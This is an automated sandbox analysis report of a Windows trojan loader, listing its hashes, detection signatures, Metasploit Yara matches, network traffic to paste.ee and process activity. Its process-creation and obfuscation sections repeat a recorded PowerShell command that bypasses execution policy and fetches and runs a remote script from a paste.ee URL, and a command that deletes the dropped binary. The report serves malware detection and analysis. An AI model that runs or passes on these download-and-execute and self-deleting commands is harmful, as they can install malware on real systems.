Windows Analysis Report
EwKKdCrEDu.exe

Overview

General Information

Sample name: EwKKdCrEDu.exe
renamed because original name is a hash value
Original sample name: 2dc8cdf825e23ff1df1ad11b3a6f1973.exe
Analysis ID: 1543863
MD5: 2dc8cdf825e23ff1df1ad11b3a6f1973
SHA1: 82af57e0e6d7cf944148d3a16d7c8ca94fa982f8
SHA256: 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0
Tags: 32exetrojan
Infos:

Detection

Score: 96
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Powershell download and execute
AI detected suspicious sample
Allocates memory in foreign processes
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Injects a PE file into a foreign processes
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Writes to foreign memory regions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
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Multi AV Scanner detection for submitted file
Source: EwKKdCrEDu.exe ReversingLabs: Detection: 21%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Uses 32bit PE files
Source: EwKKdCrEDu.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: EwKKdCrEDu.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1691529805.0000000006BF9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: BitLockerToGo.pdb source: EwKKdCrEDu.exe, 00000000.00000002.1671695054.0000000001E7E000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000004.00000002.1691225462.0000000006B7E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\admin\Desktop\projects\loader\Release\Loader.pdb source: EwKKdCrEDu.exe, 00000000.00000002.1671695054.0000000001DE0000.00000004.00001000.00020000.00000000.sdmp, EwKKdCrEDu.exe, 00000000.00000002.1671695054.0000000001EF6000.00000004.00001000.00020000.00000000.sdmp, EwKKdCrEDu.exe, 00000000.00000002.1670983008.0000000001D34000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1672785441.00000000006F6000.00000002.00000400.00020000.00000000.sdmp
Source: Binary string: ion.pdb source: powershell.exe, 00000004.00000002.1691529805.0000000006C51000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: BitLockerToGo.pdbGCTL source: EwKKdCrEDu.exe, 00000000.00000002.1671695054.0000000001E7E000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006EC481 FindFirstFileExW, 2_2_006EC481

Networking
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Connects to a pastebin service (likely for C&C)
Source: unknown DNS query: name: paste.ee
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /d/7BWJv HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: paste.eeConnection: Keep-Alive
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /d/7BWJv HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: paste.eeConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: paste.ee
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 28 Oct 2024 14:16:36 GMTContent-Length: 0Connection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UStKtoUB%2BMn6VxYd6LAGk1XSBFZccNRFH%2F%2F0%2BRkciZyvLTVzmdhTZsKMaAYaMJJXp%2FETulPobVU%2BrdHglxWwYdtXDGFlCmkgTWBrD5VdVLznzv6mByPejcM1iw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d9b8b691fd32ca2-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1108&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2815&recv_bytes=774&delivery_rate=2562831&cwnd=251&unsent_bytes=0&cid=b691612755f26c0e&ts=493&x=0"
Source: EwKKdCrEDu.exe, program.js.0.dr String found in binary or memory: http://json-schema.org/draft-07/schema
Source: program.js.0.dr String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: EwKKdCrEDu.exe, program.js.0.dr String found in binary or memory: http://json-schema.org/schema
Source: powershell.exe, 00000004.00000002.1690275094.0000000005716000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1687092302.0000000004806000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1687092302.00000000046B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1687092302.0000000004806000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1691529805.0000000006BF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.coD
Source: powershell.exe, 00000004.00000002.1687092302.00000000046B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: EwKKdCrEDu.exe, program.js.0.dr String found in binary or memory: https://aws.amazon.com
Source: powershell.exe, 00000004.00000002.1690275094.0000000005716000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1690275094.0000000005716000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1690275094.0000000005716000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1687092302.0000000004806000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: EwKKdCrEDu.exe, program.js.0.dr String found in binary or memory: https://github.com/aws/jsii
Source: EwKKdCrEDu.exe, program.js.0.dr String found in binary or memory: https://github.com/aws/jsii.git
Source: EwKKdCrEDu.exe, program.js.0.dr String found in binary or memory: https://github.com/aws/jsii/issues
Source: program.js.0.dr String found in binary or memory: https://github.com/jprichardson/node-fs-extra/issues/269
Source: powershell.exe, 00000004.00000002.1687092302.000000000498D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1690275094.0000000005716000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1687092302.0000000004806000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000004.00000002.1687092302.00000000048FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/
Source: powershell.exe, 00000004.00000002.1687092302.00000000048FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1687092302.0000000004806000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/d/7BWJv
Source: program.js.0.dr String found in binary or memory: https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49712 version: TLS 1.2

System Summary
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Malicious sample detected (through community Yara rule)
Source: 00000000.00000002.1671695054.0000000001E40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.1671695054.0000000001EF6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.1671695054.0000000002088000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.1671695054.0000000001E7E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Detected potential crypto function
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006F503D 2_2_006F503D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006E75DF 2_2_006E75DF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006EFE00 2_2_006EFE00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006E22CA 2_2_006E22CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006F02AB 2_2_006F02AB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006E729D 2_2_006E729D
Found potential string decryption / allocating functions
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: String function: 006E2140 appears 35 times
Sample file is different than original file name gathered from version info
Source: EwKKdCrEDu.exe, 00000000.00000002.1671695054.0000000001E7E000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs EwKKdCrEDu.exe
Uses 32bit PE files
Source: EwKKdCrEDu.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 00000000.00000002.1671695054.0000000001E40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.1671695054.0000000001EF6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.1671695054.0000000002088000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.1671695054.0000000001E7E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: classification engine Classification label: mal96.troj.evad.winEXE@9/7@1/1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5612:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4868:120:WilError_03
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe File created: C:\Users\user\AppData\Local\Temp\jsii-runtime.3078484992 Jump to behavior
Source: EwKKdCrEDu.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: EwKKdCrEDu.exe ReversingLabs: Detection: 21%
Source: EwKKdCrEDu.exe String found in binary or memory: depgithub.com/hashicorp/go-azure-helpersv0.66.2h1:+Pzuo7pdKl0hBXXr5ymmhs4Q40tHAo2nAvHq4WgSjx8=
Source: EwKKdCrEDu.exe String found in binary or memory: github.com/aws/jsii-runtime-go@v1.103.1/internal/kernel/load.go
Source: EwKKdCrEDu.exe String found in binary or memory: net/addrselect.go
Source: EwKKdCrEDu.exe String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe File read: C:\Users\user\Desktop\EwKKdCrEDu.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\EwKKdCrEDu.exe "C:\Users\user\Desktop\EwKKdCrEDu.exe"
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )" Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: EwKKdCrEDu.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: EwKKdCrEDu.exe Static file information: File size 16803840 > 1048576
Source: EwKKdCrEDu.exe Static PE information: Raw size of .text is bigger than: 0x100000 < 0x5f9400
Source: EwKKdCrEDu.exe Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x952800
Source: EwKKdCrEDu.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1691529805.0000000006BF9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: BitLockerToGo.pdb source: EwKKdCrEDu.exe, 00000000.00000002.1671695054.0000000001E7E000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000004.00000002.1691225462.0000000006B7E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\admin\Desktop\projects\loader\Release\Loader.pdb source: EwKKdCrEDu.exe, 00000000.00000002.1671695054.0000000001DE0000.00000004.00001000.00020000.00000000.sdmp, EwKKdCrEDu.exe, 00000000.00000002.1671695054.0000000001EF6000.00000004.00001000.00020000.00000000.sdmp, EwKKdCrEDu.exe, 00000000.00000002.1670983008.0000000001D34000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1672785441.00000000006F6000.00000002.00000400.00020000.00000000.sdmp
Source: Binary string: ion.pdb source: powershell.exe, 00000004.00000002.1691529805.0000000006C51000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: BitLockerToGo.pdbGCTL source: EwKKdCrEDu.exe, 00000000.00000002.1671695054.0000000001E7E000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
Suspicious powershell command line found
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )" Jump to behavior
PE file contains sections with non-standard names
Source: EwKKdCrEDu.exe Static PE information: section name: .symtab
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006F5751 push ecx; ret 2_2_006F5764
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
